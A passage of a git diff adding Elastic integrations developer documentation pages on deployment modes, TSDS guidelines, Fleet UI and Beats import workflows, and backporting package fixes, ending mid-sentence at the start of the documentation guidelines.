100644 index 00000000000..8d3e2e4fa05 --- /dev/null +++ b/docs/extend/define-deployment-modes.md @@ -0,0 +1,89 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/define-deployment-modes.html +--- + +# Define deployment modes [define-deployment-modes] + +Some integrations can be deployed on fully managed agents. These integrations are known as "agentless" integrations. Define the deployment mode of an integration with the [`deployment_modes`](#deployment_modes) property and display/hide variables in different deployment modes with the [`hide_in_deployment_modes`](#hide_in_deployment_modes) property. + + +## `deployment_modes` [deployment_modes] + +Policy templates can indicate which deployment modes they support. Use the `deployment_modes` property in the policy template schema to define the supported deployment modes. Options are `default` and `agentless`. A policy template can support both modes. + +Example policy template declaration: + +```yaml +format_version: 3.2.0 +name: aws +title: AWS +version: 2.13.1 +... +policy_templates: + - name: billing + title: AWS Billing + description: Collect billing metrics with Elastic Agent + deployment_modes: <1> + default: + enabled: false <2> + agentless: + enabled: true <3> + data_streams: + - billing + ... +``` + +1. Defines the supported deployment modes +2. Disables agent deployment support +3. Enables agentless deployment support + + + +## `hide_in_deployment_modes` [hide_in_deployment_modes] + +Variables can be hidden in certain deployment modes. Use the `hide_in_deployment_modes` property to opt variables in or out of being displayed in default or agentless mode. This property works at any manifest level. + +Example variable declaration: + +```yaml +streams: + - input: filestream + vars: + - name: paths + type: text + title: Paths + multi: true + required: true + show_user: true + default: + - /var/log/my-package/*.log + - name: agentless_only + type: text + title: Agentless only variable + multi: false + required: false + show_user: true + hide_in_deployment_modes: <1> + - default + - name: hidden_in_agentless + type: text + title: Hidden in agentless variable + multi: false + required: false + show_user: true + hide_in_deployment_modes: <2> + - agentless +``` + +1. Disables visibility of the variable in agent deployment mode +2. Disables visibility of the variable in agentless deployment mode + + +For more information on variable property definitions, refer to [Define variable properties](/extend/finishing-touches.md#define-variable-properties). + + +## Agentless capabilities [agentless-capabilities] + +The capabilities feature protects agentless deployments from allowing undesired inputs to run. A static `capabilities.yml` file defines these allowed and disallowed inputs and is passed to deployed agents. To determine which capabilities are currently allowed on Agentless, refer to [`capabilities.yml`](https://github.com/elastic/agentless-controller/blob/main/controllers/config/capabilities.yml). + diff --git a/docs/extend/dev-spec.md b/docs/extend/dev-spec.md new file mode 100644 index 00000000000..033912d203e --- /dev/null +++ b/docs/extend/dev-spec.md @@ -0,0 +1,39 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/dev-spec.html +--- + +# _dev [dev-spec] + +Development resources. + +**required** + +Included from the package-spec repository. This will update when the spec is updated. + +```yaml +spec: + additionalContents: false + developmentFolder: true + contents: + - description: Folder containing resources related to package benchmarks. + type: folder + name: benchmark + required: false + $ref: "./benchmark/spec.yml" + - description: Folder containing resources related to building the package. + type: folder + name: build + required: false + $ref: "./build/spec.yml" + - description: Folder containing configuration related to deploying the package's service(s) required for testing scenarios. + type: folder + name: deploy + required: false + $ref: "./deploy/spec.yml" + - description: Folder containing configuration related test configuration. + type: folder + name: test + required: false + $ref: "./test/spec.yml" +``` diff --git a/docs/extend/developer-tsds-guidelines.md b/docs/extend/developer-tsds-guidelines.md new file mode 100644 index 00000000000..06b9efa916e --- /dev/null +++ b/docs/extend/developer-tsds-guidelines.md @@ -0,0 +1,214 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/developer-tsds-guidelines.html +--- + +# TSDS guidelines [developer-tsds-guidelines] + +This page describes how to enable TSDS functionality in your integration packages. Full details about TSDS can be found in [Time series data stream](docs-content://manage-data/data-store/data-streams/time-series-data-stream-tsds.md) in the {{es}} documentation. + +In this document you can find: + +* [Background](#integrations-dev-tsds-background) +* [Steps for enabling TSDS for a metrics dataset](#integrations-dev-tsds-migrating) +* [Testing](#integrations-dev-tsds-testing) +* [Best practices](#integrations-dev-tsds-best-practices) +* [Troubleshooting](#integrations-dev-tsds-troubleshooting) + + +## Background [integrations-dev-tsds-background] + +A time series is a sequence of observations for a specific entity. TSDS enables the column-oriented functionality in elasticsearch by co-locating the data and optimizing the storage and aggregations to take advantage of such co-allocation. + +Integrations are one of the biggest sources of input data to Elasticsearch. Enabling TSDS on integration packages can be achieved by minimal changes made in the `fields.yml` and `manifest.yml` files of a package. + + +## Steps for enabling TSDS for a metrics dataset [integrations-dev-tsds-migrating] + +::::{important} +Datastreams having type `logs` are excluded from TSDS migration. +:::: + + + +## Step 1: Set the dimension fields [_step_1_set_the_dimension_fields] + +Each field belonging to the set of fields that uniquely identify a document is a dimension. For more details, refer to [Dimensions](docs-content://manage-data/data-store/data-streams/time-series-data-stream-tsds.md#time-series-dimension). + +To set a field as a dimension simply add `dimension: true` to its mapping: + +```yaml +- name: ApiId + type: keyword + dimension: true +``` + +::::{note} +A field having type [flattened](elasticsearch://reference/elasticsearch/mapping-reference/flattened.md) cannot be selected as a dimension field. If the field that you are choosing as a dimension is too long or is of type flattened, consider hashing the value of this field and using the result as a dimension. [Fingerprint processor](elasticsearch://reference/ingestion-tools/enrich-processor/fingerprint-processor.md) can be used for this purpose. + +You can find an example in [Oracle Integration TSDS Enablement Example](https://github.com/elastic/integrations/blob/8a57d6ba96d391afc33da20c80ec51280d22f009/packages/oracle/data_stream/performance/elasticsearch/ingest_pipeline/default.yml#LL127C4-L131C29) + +:::: + + +Important considerations: + +* There is a limit on how many dimension fields a datastream can have. By default, this value is `21`. You can adjust this restriction by altering the `index.mapping.dimension_fields.limit`: + + ```yaml + elasticsearch: + index_template: + settings: + index.mapping.dimension_fields.limit: 32 # Defaults to 21 + ``` + +* Dimension keys have a hard limit of 512b. Documents are rejected if this limit is reached. +* Dimension values have a hard limit of 1024b. Documents are rejected if this limit is reached. + + +### ECS fields [_ecs_fields] + +There are fields that are part of every package, and they are potential candidates for becoming dimension fields: + +* `host.name` +* `service.address` +* `agent.id` +* `container.id` + +For products that are capable of running both on-premise and in a public cloud environment (by being deployed on public cloud virtual machines), it is recommended to annotate the ECS fields listed below as dimension fields: + +* `host.name` +* `service.address` +* `container.id` +* `cloud.account.id` +* `cloud.provider` +* `cloud.region` +* `cloud.availability_zone` +* `agent.id` +* `cloud.instance.id` + +For products operating as managed services within cloud providers like AWS, Azure, and GCP, it is advised to label the fields listed below as dimension fields: + +* `cloud.account.id` +* `cloud.region` +* `cloud.availability_zone` +* `cloud.provider` +* `agent.id` + +Note that for some packages some of these fields do not hold any value, so make sure to only use the needed ones. + + +### Integration specific fields [_integration_specific_fields] + +The `files.yml` file has the field mappings specific to a datastream of an integration. Some of these fields might need to be set as a dimension if the set of dimension fields in ECS is not enough to create a unique [`_tsid`](docs-content://manage-data/data-store/data-streams/time-series-data-stream-tsds.md#tsid). + +Adding an inline comment prior to the dimension annotation is advised, detailing the rationale behind the choice of a particular field as a dimension field: + +```yaml +- name: wait_class + type: keyword + # Multiple events are generated based on the values of wait_class. Hence, it is a dimension + dimension: true + description: Every wait event belongs to a class of wait events. +``` + + +## Step 2: Set type for metric fields [_step_2_set_type_for_metric_fields] + +Metrics are fields that contain numeric measurements, as well as aggregations and/or down sampling values based off of those measurements. Annotate each metric with the correct metric type. The [currently supported values](docs-content://manage-data/data-store/data-streams/time-series-data-stream-tsds.md#time-series-metric) are `gauge`, `counter`, and `null`. + +Example of adding a metric type to a field: + +```yaml +- name: compactions_failed + type: double + metric_type: counter + description: | + Counter of TSM compactions by level that have failed due to error. +``` + +::::{note} +Some of the aggregation functions are not supported for certain `metric_type` values. In such a scenario, please revisit to see if the selection of `metric_type` you made is indeed correct for that field. If valid, please create an issue in [elastic/elasticsearch](https://github.com/elastic/elasticsearch) explaining the use case. +:::: + + + +## Step 3: Update Kibana version [_step_3_update_kibana_version] + +Modify the `kibana.version` to at least `8.8.0` in the `manifest.yml` file of the package: + +```yaml +conditions: + kibana.version: "^8.8.0" +``` + + +## Step 4: Enable `time_series` index mode [_step_4_enable_time_series_index_mode] + +Add the changes to the `manifest.yml` file of the datastream as shown to enable the timeseries index mode: + +```yaml +elasticsearch: + index_mode: "time_series" +``` + + +## Testing [integrations-dev-tsds-testing] + +* If the number of dimensions is insufficient, we will have loss of data. Consider testing this using the [TSDS migration test kit](https://github.com/elastic/TSDB-migration-test-kit). +* Verify the dashboard is rendering the data properly. If certain visualisation do not work, consider migrating to [Lens](docs-content://explore-analyze/visualize/lens.md). Remember that certain aggregation functions are not supported when a field has metric type `counter`, for example, `avg()`. Replace such aggregation functions with a supported aggregation type such as `max()` or `min()`. + + +## Best practices [integrations-dev-tsds-best-practices] + +* Use [Lens](docs-content://explore-analyze/visualize/lens.md) as the preferred visualisation type. +* Always assess the number of unique values the field that is selected to be a dimension would hold, especially if it is a numeric field. A field that holds millions of unique values may not be an ideal candidate for becoming a dimension field. +* If the dimension field value length is very long (max limit is 1024B), consider transforming the value to hash value representation. [Fingerprint processor](elasticsearch://reference/ingestion-tools/enrich-processor/fingerprint-processor.md) can be used for this purpose. +* In the field mapping files above each dimension field, add in-line comments stating the reason for selecting the field as a dimension field. +* As part of TSDS migration testing, you may discover other errors which may be unrelated to TSDS migration. Keep the pull request for TSDS migration free from such changes. This helps in obtaining quick PR approval. + + +## Troubleshooting [integrations-dev-tsds-troubleshooting] + + +### Dropped documents [_dropped_documents] + +In the event that after enabling TSDS you notice that metrics data is being dropped from an index, the [TSDS test migration kit](https://github.com/elastic/TSDB-migration-test-kit) can be used as a helpful debugging tool. + + +### Conflicting field type [_conflicting_field_type] + +Fields having conflicting field type will not be considered as dimension. Resolve the field type ambiguity before defining a field as dimension field. + + +### Identification of write index [_identification_of_write_index] + +When mappings are modified for a datastream, index rollover happens and a new index is created under the datastream. Even if there exists a new index, the data continues to go to the old index until the timestamp matches `index.time_series.start_time` of the newly created index. + +An [enhancement request](https://github.com/elastic/kibana/issues/150549) for Kibana is created to indicate the write index. Until then, refer to the index.time_series.start_time of indices and compare with the current time to identify the write index. + +If you find this error (for reference, see [integrations issue #7345](https://github.com/elastic/integrations/issues/7345) and [elasticsearch PR #98518](https://github.com/elastic/elasticsearch/pull/98518)): + +```console +... (status=400): {"type":"illegal_argument_exception","reason":"the document timestamp [2023-08-07T00:00:00.000Z] is outside of ranges of currently writable indices [[2023-08-07T08:55:38.000Z,2023-08-07T12:55:38.000Z]]"}, dropping event! +``` + +Consider: + +1. Defining the `look_ahead` or `look_back_time` for each data stream. For example: + + ```yaml + elasticsearch: + index_mode: "time_series" + index_template: + settings: + index.look_ahead_time: "10h" + ``` + + ::::{note} + Updating the package with this does not cause an automatic rollover on the data stream. You have to do that manually. + :::: + +2. Updating the `timestamp` of the document being rejected. +3. Finding a fix to receive the document without a delay. + diff --git a/docs/extend/developer-workflow-fleet-UI.md b/docs/extend/developer-workflow-fleet-UI.md new file mode 100644 index 00000000000..c4b9d12f6f7 --- /dev/null +++ b/docs/extend/developer-workflow-fleet-UI.md @@ -0,0 +1,105 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/developer-workflow-fleet-UI.html +--- + +# Development process for Fleet UI [developer-workflow-fleet-UI] + +See the Kibana docs for [how to set up your dev environment](https://github.com/elastic/kibana/blob/main/CONTRIBUTING.md#setting-up-your-development-environment), [run Elasticsearch](https://github.com/elastic/kibana/blob/main/CONTRIBUTING.md#running-elasticsearch), and [start Kibana](https://github.com/elastic/kibana/blob/main/CONTRIBUTING.md#running-kibana). + +One common development workflow is: + +1. Clone Kibana repo + + ```bash + git clone https://github.com/[YOUR_USERNAME]/kibana.git kibana + cd kibana + ``` + +2. Install Dependencies + + ```bash + nvm use + npm install -g yarn + ``` + +3. Bootstrap Kibana + + ```bash + yarn kbn bootstrap + ``` + +4. Start Elasticsearch in one shell + + ```bash + yarn es snapshot -E xpack.security.authc.api_key.enabled=true + ``` + +5. Start Kibana in another shell + + ```bash + yarn start --xpack.fleet.enabled=true --no-base-path + ``` + +6. Download fleet-server package from [https://www.elastic.co/downloads/past-releases/#elastic-agent](https://www.elastic.co/downloads/past-releases/#elastic-agent) +7. Untar fleet server tarball and `cd` to the directory +8. Install fleet-server (See also the alternative solution) + + ```bash + sudo ./elastic-agent install -f \ + --fleet-server-es=http://elastic:changeme@localhost:9200 \ + --fleet-server-policy= + ``` + + The `default policy id` can be retrieved by fleet ui instructions in Kibana before any fleet server is installed. Fleet Server will start in `+https://users_machine_ip:8220+` + +9. Update Fleet settings on the top right corner of Fleet UI to set the correct Fleet Server hosts (ip from previous step). +10. After that user can enroll as many agents as they want +11. Any code update in Kibana fleet plugin should be picked up automatically and either cause the server to restart, or be served to the browser on the next page refresh. + + +## Alternative solution for fleet server [_alternative_solution_for_fleet_server] + +Instead of download fleet server package and running it as a local process you can run Fleet Server Locally in a Container. + +It can be useful to run Fleet Server in a container on your local machine in order to free up your actual "bare metal" machine to run Elastic Agent for testing purposes. Otherwise, you’ll only be able to a single instance of Elastic Agent dedicated to Fleet Server on your local machine, and this can make testing integrations and policies difficult. + +*The following is adapted from the Fleet Server [README](https://github.com/elastic/fleet-server#running-elastic-agent-with-fleet-server-in-container)* + +1. Add the following configuration to your `config/kibana.yml` + + ```yaml + server.host: 0.0.0.0 + ``` + +2. Append the following option to the command you use to start Elasticsearch + + ```yaml + -E http.host=0.0.0.0 + ``` + + This command should look something like this: + + ```bash + yarn es snapshot --license trial -E xpack.security.authc.api_key.enabled=true -E path.data=/tmp/es-data -E http.host=0.0.0.0 + ``` + +3. Run the Fleet Server Docker container. Make sure you include a `BASE-PATH` value if your local Kibana instance is using one. `YOUR-IP` should correspond to the IP address used by your Docker network to represent the host. For Windows and Mac machines, this should be `192.168.65.2`. If you’re not sure what this IP should be, run the following to look it up: + + ```bash + docker run -it --rm alpine nslookup host.docker.internal + ``` + + To run the Fleet Server Docker container: + + ```bash + docker run -e KIBANA_HOST=http://{YOUR-IP}:5601/{BASE-PATH} -e KIBANA_USERNAME=elastic -e KIBANA_PASSWORD=changeme -e ELASTICSEARCH_HOST=http://{YOUR-IP}:9200 -e ELASTICSEARCH_USERNAME=elastic -e ELASTICSEARCH_PASSWORD=changeme -e KIBANA_FLEET_SETUP=1 -e FLEET_SERVER_ENABLE=1 -e FLEET_SERVER_INSECURE_HTTP=1 -p 8220:8220 docker.elastic.co/elastic-agent/elastic-agent:{VERSION} + ``` + + Ensure you provide the `-p 8220:8220` port mapping to map the Fleet Server container’s port `8220` to your local machine’s port `8220` in order for Fleet to communicate with Fleet Server. + + For the latest version, use `8.0.0-SNAPSHOT`. Otherwise, you can explore the available versions at [https://www.docker.elastic.co/r/beats/elastic-agent](https://www.docker.elastic.co/r/beats/elastic-agent). + + Once the Fleet Server container is running, you should be able to treat it as if it were a local process running on `+http://localhost:8220+` when configuring Fleet via the UI. You can then run `elastic-agent` on your local machine directly for testing purposes. + + diff --git a/docs/extend/developer-workflow-import-beat.md b/docs/extend/developer-workflow-import-beat.md new file mode 100644 index 00000000000..47bea4b5077 --- /dev/null +++ b/docs/extend/developer-workflow-import-beat.md @@ -0,0 +1,172 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/developer-workflow-import-beat.html +--- + +# Import integration from Beats modules [developer-workflow-import-beat] + +The import procedure heavily uses on the *import-beats* script. If you are interested how does it work internally, feel free to review the script’s [README](https://github.com/elastic/integrations/tree/main/dev/import-beats/README.md). + +1. Create an issue in the [integrations](https://github.com/elastic/integrations) to track ongoing progress with the integration (especially manual changes). + + Focus on the one particular product (e.g. MySQL, ActiveMQ) you would like to integrate with. Use this issue to mention every manual change that has been applied. It will help in adjusting the `import-beats` script and reviewing the integration. + +2. Prepare the developer environment: + + 1. Clone/refresh the following repositories: + + * [https://github.com/elastic/beats](https://github.com/elastic/beats) + * [https://github.com/elastic/ecs](https://github.com/elastic/ecs) + * [https://github.com/elastic/eui](https://github.com/elastic/eui) + * [https://github.com/elastic/kibana](https://github.com/elastic/kibana) + + Make sure you don’t have any manual changes applied as they will reflect on the integration. + + 2. Clone/refresh the Elastic Integrations to always use the latest version of the script: + + * [https://github.com/elastic/integrations](https://github.com/elastic/integrations) + + 3. Make sure you’ve the `mage` tool installed: + + ```bash + $ go get -u -d github.com/magefile/mage + ``` + +3. Use the `elastic-package stack up -v -d` command to boot up required dependencies: + + 1. Elasticseach instance: + + * Kibana’s dependency + + 2. Kibana instance: + + * used to migrate dashboards, if not available, you can skip the generation (`SKIP_KIBANA=true`) + + *Hint*. There is the `elastic-package` cheat sheet available [here](https://github.com/elastic/integrations/blob/main/testing/environments/README.md). + +4. Create a new branch for the integration in `integrations` repository (diverge from main). +5. Run the command: `mage ImportBeats` to start the import process (note that the import script assumes the projects checked out in step 2 are at `+../{{project-name}}+`). + + The outcome of running the `import-beats` script is directory with refreshed and updated integrations. + + It will take a while to finish, but the console output should be updated frequently to track the progress. The command should terminate with an exit code of 0. If it doesn’t, please open an issue. + + Generated packages are stored by default in the `packages` directory. Generally, the import process updates all of the integrations, so don’t be surprised if you notice updates to multiple integrations, including the one you’re currently working on (e.g. `packages/foobarbaz`). You can either commit these changes or leave them for later. + + If you want to select a subgroup of packages, set the environment variable `PACKAGES` (comma-delimited list): + + ```bash + $ PACKAGES=aws,cisco mage ImportBeats + ``` + + + +## Fine tune the integration [_fine_tune_the_integration] + +Most of migration work has been done by the `import-beats` script, but there’re tasks that require developer’s interaction. + +It may happen that your integration misses a screenshot or an icon, it’s a good moment to add missing resources to Beats/Kibana repositories and re-import the integration (idempotent). + + +### Checklist [_checklist] + +The order of action items on the checklist is advised to prevent the contributor from repeating some actions (fixing what’s been already fixed, as the script has overridden part of it). + +1. Add icon if missing. + + The integration icons are presented in different places in Kibana, hence it’s better to define custom icons to make the UI easier to navigate. + + As the `import-beats` script looks for icons in Kibana and EUI repositories, add an icon to the first one the same way as for tutorial resources (Kibana directory: `src/legacy/core_plugins/kibana/public/home/tutorial_resources/logos/`). + +2. Add screenshot if missing. + + The Kibana Integration Manager shows screenshots related with the integration. Screenshots present Kibana dashboards visualizing the metric/log data. + + The `import-beats` script finds references to screenshots mentioned in `_meta/docs.asciidoc` and copies image files from the Beats directories: + + * `metricbeat/docs/images` + * `filebeat/docs/images` + +3. Improve/correct spelling product names. + + The correct spelling of product names simply makes better impression. The `import-beats` scripts uses the `fields.yml` file as the source of the correct spelling (`title` property), e.g. Mysql - MySQL, Nginx - NGINX, Aws - AWS. + + Keep in mind that this step requires reimporting package contents. + +4. Write README template file for the integration. + + The README template is used to render the final README file including exported fields. The template should be placed in the `package//_dev/build/docs/README.md`. If the directory doesn’t exist, please create it. + + Review the MySQL docs template to see how to use template functions (e.g. `{{fields "data-stream-name"}}`). If the same data stream name is used in both metrics and logs, please add `-metrics` and `-logs` in the template. For example, `elb` is a data stream for log and also a data stream for metrics. In README.md template, `{{fields "elb_logs"}}` and `{{fields "elb_metrics"}}` are used to separate them. + +5. Review fields file and exported fields in docs. + + The goal of this action item is to verify if produced artifacts are correct. + + The fields files (package-fields.yml, fields.yml and ecs.yml) in the package were created from original fields.yml files (that may contain ECS schema fields) and fields.epr.yml (defining some other fields used in the ingest pipeline). It may happen that original sources have a typo, bad description or misses a field definition. The sum of fields in all present files should contain only fields that are really used, e.g. not all existing ECS fields. + + It may happen that the ingest pipeline uses fields abstracted from ECS, but not mentioned in `fields.yml`. Integrations should contain these fields and also have them documented. + + The fields for an integration package are divided into the following three files: + + * ecs.yml: ECS compliant fields that are used by this particular data stream. + * package-fields.yml: Package level fields that are used by this particular data stream, which does not exist under `.`. + * fields.yml: Dataset level fields that are specific to this particular data stream, and non ECS compliant. + + See the PR [https://github.com/elastic/beats/pull/17895](https://github.com/elastic/beats/pull/17895) to understand how to add them to Beats (e.g. `event.code`, `event.provider`) using the `fields.epr.yml` file. + +6. Metricbeat: add missing configuration options. + + The `import-beats` script extracts configuration options from Metricbeat module’s `_meta` directory. It analyzes the configuration files and selects options based on enabled metricsets (not commented). If you notice that some configuration options are missing in your package’s manifest files, simply create the `config.epr.yml` file with all required options. + + Sample PR: [https://github.com/elastic/beats/pull/17323](https://github.com/elastic/beats/pull/17323) + +7. Review *titles* and *descriptions* in manifest files. + + Titles and descriptions are fields visualized in the Kibana UI. Most users will use them to see how to configure the integration with their installation of a product or to how to use advanced configuration options. + +8. Compact configuration options (vars). + + Currently, all configuration options are set by the `import-beats` script on the stream level (path: `data stream//manifest.yml`). + + It may happen that some of them in different data streams are simply duplicates or concern the same setting, which will be always equal (e.g. MySQL username, password). Keep in mind that two data streams may have the same configuration option, but different values (e.g. `period`, `paths`), hence can’t be compacted. + + To sum up, compacting takes down from the user the necessity to setup the same configuration option few times (one per data stream). + +9. Define all variable properties. + + The variable properties customize visualization of configuration options in the Kibana UI. Make sure they’re defined in all manifest files. + + ```yaml + vars: + - name: paths + required: true + show_user: true + title: Access log paths + description: Paths to the nginx access log file. + type: text + multi: true + default: + - /var/log/nginx/access.log* + ``` + + * **required** - option is required + * **show_user** - don’t hide the configuration option (collapsed menu) + * **title** - human readable variable name + * **description** - variable description (may contain some details) + * **type** - field type (according to the reference: text, password, bool, integer) + * **multi** - the field has mutliple values. + +10. Review stream configuration. + + Due to changed templating engine from a standard Golang one to [handlebars](https://handlebarsjs.com/), it may be hard to automatically convert the Filebeat input configuration (nested variables, many representations, conditions, loops). Please review the output stream configuration and identify potential bugs. + +11. Update docs template with sample events. + + The events collected by the agent slightly differ from the original, Metricbeat and Filebeat, ones. Adjust the event content manually basing on already migrated integrations (e.g. [MySQL integration](https://github.com/elastic/integrations/blob/main/packages/mysql/_dev/build/docs/README.md)) or copy them once managed to run whole setup with real agent. + +12. Kibana: use `stream.data stream` field instead of `event.data stream`. + + Using `stream.data stream` instead of `event.data stream` also makes queries a lot more efficient as this is a `constant_keyword`. Make sure that dashboards in your package don’t use the `event.data stream` field. If so, simply replace them with the more efficient one. + + diff --git a/docs/extend/developer-workflow-support-old-package.md b/docs/extend/developer-workflow-support-old-package.md new file mode 100644 index 00000000000..0355befeaba --- /dev/null +++ b/docs/extend/developer-workflow-support-old-package.md @@ -0,0 +1,122 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/developer-workflow-support-old-package.html +--- + +# Release a bug fix for supporting older package version [developer-workflow-support-old-package] + +In some cases, when we drop the support for an older version of the stack and later on find out needing to add a bug fix to the some old package version, we have to make some manual changes to release the bug fix to users. For example: in this [PR](https://github.com/elastic/integrations/pull/3688) (AWS package version 1.23.4), support for Kibana version 7.x was dropped and bumped the AWS package version from 1.19.5 to 1.20.0. But we found a bug in the EC2 dashboard that needs to be fixed with Kibana version 7.x. So instead of adding a new AWS package version 1.23.5, we need to fix it between 1.19.5 and 1.20.0. + +Follow these detailed steps to release a fix for a given package version: + +1. **Find git commit (package version) that needs to be fixed** + + In the example above, the commit to be fixed is the one right before this [PR](https://github.com/elastic/integrations/pull/3688) updating package `aws`: + + * Using the web: + + * Look for the merge commit of the PR + + * [https://github.com/elastic/integrations/commit/aa63e1f6a61d2a017e1f88af2735db129cc68e0c](https://github.com/elastic/integrations/commit/aa63e1f6a61d2a017e1f88af2735db129cc68e0c) + * It can be found as one of the last messages in the PR ![merged commit](../images/merge_commit_message.png "") + * And then show the previous commits for that changeset inside the package folder (e.g. `packages/aws`): + * [https://github.com/elastic/integrations/commits/aa63e1f6a61d2a017e1f88af2735db129cc68e0c/packages/aws/](https://github.com/elastic/integrations/commits/aa63e1f6a61d2a017e1f88af2735db129cc68e0c/packages/aws/) ![commits from package](../images/browse_package_commits.png "") + + * Using the command line: + + ```bash + cd packages/ + git log --grep "#" . + git log -n 1 ^ . + + # following the example + $ cd packages/aws + $ git log --grep "#3688" + commit aa63e1f6a61d2a017e1f88af2735db129cc68e0c + Author: Joe Reuter + Date: Mon Aug 8 17:14:55 2022 +0200 + + Inline all aws dashboards (#3688) + + * inline all aws dashboards + + * format + + * apply the right format + + * inline again + + * format + $ git log -n 1 aa63e1f6a61d2a017e1f88af2735db129cc68e0c^ . + commit 8cb321075afb9b77ea965e1373a03a603d9c9796 + Author: Mario Castro + Date: Thu Aug 4 16:52:06 2022 +0200 + + Move lightweight manifest to integration for EBS data stream (#3856) + ``` + +2. Run the **integrations-backport** pipeline [https://buildkite.com/elastic/integrations-backport](https://buildkite.com/elastic/integrations-backport) for creating the backport branch. ![buildkite buid](../images/build.png "") + + **Please, pay attention!**, if you just run the pipeline it’ll wait for your inputs, nothing will happen without that. + + :::{image} ../images/backport_input_step.png + :alt: waiting input step + ::: + + Pipeline’s inputs: + + * **DRY_RUN** (default: "true"), If DRY_RUN is defined as "true" it will check: + + * if the package is published, + * if the entered commit exists, + * if the backport branch exists. Also, it will create the local branch, update the branch with `.buildkite` and `.ci` folders, and remove other packages except the defined one (if set as input). This local branch will not be pushed to the upstream repository in this mode. + + + If DRY_RUN is defined as "false", in addition to written above it will create a commit and push the local branch to the upstream repository [https://github.com/elastic/integrations.git](https://github.com/elastic/integrations.git). In this case, the name of the branch will be `+backport-${PACKAGE_NAME}-${TRIMMED_PACKAGE_VERSION}+`, for example, `backport-aws-1.19`. + + * **BASE_COMMIT** (default: "") - enter the commit from the previous step (8cb321075afb9b77ea965e1373a03a603d9c9796) + * **PACKAGE_NAME** (default: "") - enter the package name, for example aws + * **PACKAGE_VERSION** (default: "") - enter the package version, for example: 1.19.7, 1.0.0-beta1 + * **REMOVE_OTHER_PACKAGES** (default: "false") If **REMOVE_OTHER_PACKAGES** is defined as "true" all packages from the **packages** folder, except the defined package, will be removed from the created branch. + +3. **Create a PR for the bug fix** + + Create a new branch in your own remote (it is advised **not using** a branch name starting with `backport-`), and apply bugfixes there. Remember to update the version in the package manifest (update patch version like `1.19.`) and add a new changelog entry for this patch version. + + Once ready, open a PR selecting as a base branch the one created above: `backport--.` (e.g. `backport-aws-1.19`). + + Once this PR is merged, this new version of the package is going to be published automatically following the usual CI/CD jobs. + + If it is needed to release a new fix for that version, there is no need to create a new branch. Just create a new PR to merge a new branch onto the same backport branch created previously. + +4. **Update changelog in main** + + Once PR has been merged in the corresponding backport branch (e.g. `backport-aws-1.9`) and the package has been published, a new Pull Request should be created manually to update the changelog in the main branch to include the new version published in the backport branch. Take into account to add the changelog entry following the version order. + + In order to keep track, this new PR should have a reference (relates) to the backport PR too in its description. + +5. **Known issues and their solutions:** + + 1. Missing shellinit command: + + * Example of the error: [https://buildkite.com/elastic/integrations/builds/7634#018c87f4-7b0c-4d6f-8ddd-b779a9a7a019/507-512](https://buildkite.com/elastic/integrations/builds/7634#018c87f4-7b0c-4d6f-8ddd-b779a9a7a019/507-512) + + `Error: could not create kibana client: undefined environment variable: ELASTIC_PACKAGE_KIBANA_HOST. If you have started the Elastic stack using the elastic-package tool, please load stack environment variables using 'eval "$(elastic-package stack shellinit)"' or set their values manually` + + * **Solution**: add elastic-package stack shellinit command in `.buildkite/scripts/common.sh`. + + * `eval "$(elastic-package stack shellinit)"` + + Example: [https://github.com/elastic/integrations/blob/0226f93e0b1493d963a297e2072f79431f6cc443/.buildkite/scripts/common.sh#L828](https://github.com/elastic/integrations/blob/0226f93e0b1493d963a297e2072f79431f6cc443/.buildkite/scripts/common.sh#L828) + + 2. Not found license file: + + * Example of the error: [https://buildkite.com/elastic/integrations/builds/7644#018c883c-546f-4d32-ab4a-71e919ddebf8/270-309](https://buildkite.com/elastic/integrations/builds/7644#018c883c-546f-4d32-ab4a-71e919ddebf8/270-309) + + `Error: checking package failed: building package failed: copying license text file: failure while looking for license "licenses/Elastic-2.0.txt" in repository: failed to find repository license: stat /opt/buildkite-agent/builds/bk-agent-prod-gcp-1703092724145948143/elastic/integrations/licenses/Elastic-2.0.txt: no such file or directory` + + * **Solution**: Remove line defining `ELASTIC_PACKAGE_REPOSITORY_LICENSE` environment variable. + + * Example: [https://github.com/elastic/integrations/blob/0daff27f0e0195a483771a50d60ab28ca2830f75/.buildkite/pipeline.yml#L17](https://github.com/elastic/integrations/blob/0daff27f0e0195a483771a50d60ab28ca2830f75/.buildkite/pipeline.yml#L17) + + diff --git a/docs/extend/developer-workflows.md b/docs/extend/developer-workflows.md new file mode 100644 index 00000000000..23e63221d31 --- /dev/null +++ b/docs/extend/developer-workflows.md @@ -0,0 +1,14 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/developer-workflows.html +--- + +# Developer workflows [developer-workflows] + +* [Development process for Fleet UI](/extend/developer-workflow-fleet-UI.md) +* [Release a bug fix for supporting older package version](/extend/developer-workflow-support-old-package.md) +* [Import integration from Beats modules](/extend/developer-workflow-import-beat.md) + + + + diff --git a/docs/extend/docs-spec.md b/docs/extend/docs-spec.md new file mode 100644 index 00000000000..0c9db45c45c --- /dev/null +++ b/docs/extend/docs-spec.md @@ -0,0 +1,28 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/docs-spec.html +--- + +# docs [docs-spec] + +The built integration README file. + +**required** + +Included from the package-spec repository. This will update when the spec is updated. + +```yaml +spec: + additionalContents: false + contents: + - description: Main README file + type: file + contentMediaType: "text/markdown" + name: "README.md" + required: true + - description: Other README files (can be used by policy templates) + type: file + contentMediaType: "text/markdown" + pattern: '^.+.md' + required: false +``` diff --git a/docs/extend/documentation-guidelines.md b/docs/extend/documentation-guidelines.md new file mode 100644 index 00000000000..ea5d9cd7537 --- /dev/null +++ b/docs/extend/documentation-guidelines.md @@ -0,0 +1,276 @@ +--- +mapped_pages: + - https://www.elastic.co/guide/en/integrations-developer/current/documentation-guidelines.html +--- + +# Documentation guidelines [documentation-guidelines] + +The goal of each integration’s documentation is to: + +* Help the reader understand the benefits the integration offers and how Elastic can help with their use case. Inform the reader of any requirements, including system compatibility, supported versions of third-party products, permissions needed, and more. +* Provide a comprehensive list of collected fields and the data and metric types for each. The reader can reference this information while evaluating the integration, interpreting collected data, or troubleshooting issues. +* Set the reader up for a successful installation and setup by 